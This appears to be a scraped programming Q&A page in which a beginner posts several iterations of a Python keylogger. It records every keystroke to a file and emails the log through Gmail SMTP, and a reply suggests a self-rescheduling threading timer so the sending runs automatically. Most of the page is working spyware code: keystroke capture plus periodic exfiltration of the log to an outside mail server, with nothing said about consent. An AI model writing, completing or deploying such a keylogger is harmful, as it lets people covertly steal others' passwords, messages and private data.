简体   繁体   中英

Make A Python Script Do Something Every Hour

for a project I am working on a python keylogger. I have completed both the key logging module and the email module which sends the log files back to me but am having trouble on merging them together. I would like the keylogger to send me an email including the log file every 24 hours. How could I do that?

I tried using a simple time.sleep() delay but since the keylogging module only stops when I kill it as a process it never gets to the delay because it is "infinite" you could say.

Here is my current code:

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard

#Keylogging Module
def on_press(key):
    file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

#Email module
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'


msg = MIMEMultipart()
msg['From'] = email_user
msg['To']   = email_send
msg['Subject'] = subject

body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))

filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment  =open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")

server.sendmail(email_user,email_send,text)
server.quit()

Please explain answers very simply because I am an absolute beginner.

Edit: This is the new code, which unfortunetly doesn't work.

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading


def on_press(key):
    file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

def sendlog():
    threading.Timer(10.0, sendlog).start()
    email_user = 'miku.rebane@gmail.com'
    email_send = 'miku.rebane@gmail.com'
    subject = 'KeyLog'
    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To']   = email_send
    msg['Subject'] = subject
    body = 'Log File Attached'
    msg.attach(MIMEText (body, 'plain'))
    filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
    attachment  =open(filename,'rb')
    part = MIMEBase('application','octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition',"attachment; filename= "+filename)
    msg.attach(part)
    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com',587)
    server.starttls()
    server.login(email_user,"mypassword")
    server.sendmail(email_user,email_send,text)
    server.quit()


sendlog()

Edit 3: Re-organized the code, works but incomplete logs are sent.

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading

file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')

 def sendlog():
    threading.Timer(10.0, sendlog).start()
    email_user = 'miku.rebane@gmail.com'
    email_send = 'miku.rebane@gmail.com'
    subject = 'KeyLog'
    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To']   = email_send
    msg['Subject'] = subject
    body = 'Log File Attached'
    msg.attach(MIMEText (body, 'plain'))
    filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
    attachment  =open(filename,'rb')
    part = MIMEBase('application','octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition',"attachment; filename= "+filename)
    msg.attach(part)
    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com',587)
    server.starttls()
    server.login(email_user,"password")
    server.sendmail(email_user,email_send,text)
    server.quit()


sendlog()  


#Keylogging Module
def on_press(key):
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

Edit 4: This error appears when using code form Edit 3:

Traceback (most recent call last):
  File "C:\Users\mikur\Desktop\keylogger testing.py", line 47, in <module>
    Listener.join()
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 199, in join
    six.reraise(exc_type, exc_value, exc_traceback)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\six.py", line 692, in reraise
    raise value.with_traceback(tb)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 154, in inner
    return f(self, *args, **kwargs)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\keyboard\_win32.py", line 237, in _process
    self.on_press(key)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 75, in inner
    if f(*args) is False:
  File "C:\Users\mikur\Desktop\keylogger testing.py", line 42, in on_press
    file.write(str(key))
ValueError: I/O operation on closed file.

As per this answer: https://stackoverflow.com/a/3393759/1910863

You can use a threading timer . Here is the code snippet from the linked answer:

import threading

def printit():
    threading.Timer(5.0, printit).start()
    print "Hello, World!"

printit() 

You would call (or schedule) your method at the start of your script and it will re-schedule itself every time it fires.

If you like this answer, you should upvote the linked answer as he is the one that deserves the credit for it.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM